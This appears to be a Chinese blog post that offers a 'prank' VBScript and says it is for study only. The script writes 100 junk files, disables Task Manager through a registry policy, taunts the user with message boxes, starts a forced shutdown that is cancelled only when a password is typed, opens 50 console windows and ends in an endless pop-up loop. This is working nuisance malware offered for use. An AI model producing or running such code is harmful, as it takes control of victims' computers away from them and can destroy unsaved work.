脚本------一个恶搞的vbs程序

下面代码仅供学习参考，禁止用于其他非法途径

Do Until t_i=1
t_i=t_i+1
T=T+"哀.net "
Loop
Do
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.OpenTextFile(I&".哀.net", 2, True, -2)
f.Write T
f.Close
I=I+1
If I = 100 then
Exit Do
End If
Loop
Dim wshshell
DIM WSH
SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL")
WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\disabletaskmgr",1,"REG_DWORD"
MsgBox "我的电脑怎么了？"
MsgBox "你的电脑被哀.net攻击了"
MsgBox "有挽救的办法吗？"
MsgBox "没了(=^ ^=)"
MsgBox "另外，不要妄想使用任务程序管理器，它已经被我禁用了"
Set wshshell = CreateObject("wscript.shell")
wshshell.Run "cmd.exe /c shutdown -s -t 120",0,True
MsgBox "输入哀.net"
Dim a
Do Until a = "哀.net"
a = InputBox ("请输入哀.net解除关机，如果错误超过十次伟大全能的哀.net就会摧毁你的操作系统 ")

Loop
MsgBox "呵呵"
MsgBox "解除关机"
WScript.Sleep 1000
wshshell.Run"cmd.exe /c shutdown -a",0,True
MsgBox "其实我毁不掉你的系统"
MsgBox "但我很厉害哒"
Set shell=CreateObject("wscript.Shell")
a=1
Do
shell.Run "cmd /k MODE con: COLS=14 LINES=5&@echo off & color "&a&"7 &echo "&a&" "
If a=50 Then Exit do
a=a+1
Loop
Do
MsgBox "哀.net"
Loop